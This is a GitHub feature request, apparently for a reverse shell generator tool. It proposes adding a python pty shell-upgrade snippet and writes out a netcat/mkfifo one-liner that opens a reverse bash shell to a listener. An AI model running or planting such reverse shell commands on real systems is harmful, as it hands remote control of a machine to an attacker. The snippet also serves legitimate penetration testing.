Skip to content
New issue

Have a question about this project? Sign up for a free GitHub account to open an issue and contact its maintainers and the community.

By clicking “Sign up for GitHub”, you agree to our terms of service and privacy statement. We’ll occasionally send you account related emails.

Already on GitHub? Sign in to your account

Feature request - include the switch to pseudo terminal #2

Open
xambroz opened this issue Jan 4, 2018 · 0 comments
Open

Feature request - include the switch to pseudo terminal #2

xambroz opened this issue Jan 4, 2018 · 0 comments

Comments

@xambroz
Copy link

xambroz commented Jan 4, 2018

It is possible to use python pty module to switch the existing or new reverse shell session and have nearly terminal like experience:

python -c 'import pty; pty.spawn("/bin/bash")'

It can be executed in running netcat/telnet/bash session or directly at execution:

rm -f /tmp/backpipe; mkfifo /tmp/backpipe; nc 127.0.0.1 8080 </tmp/backpipe | python -c 'import pty; pty.spawn("/bin/bash")' 1>/tmp/backpipe 2>&1 &

It would be handy to have this snippet at hand in rsg.

Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment
Labels
None yet
Projects
None yet
Development

No branches or pull requests

1 participant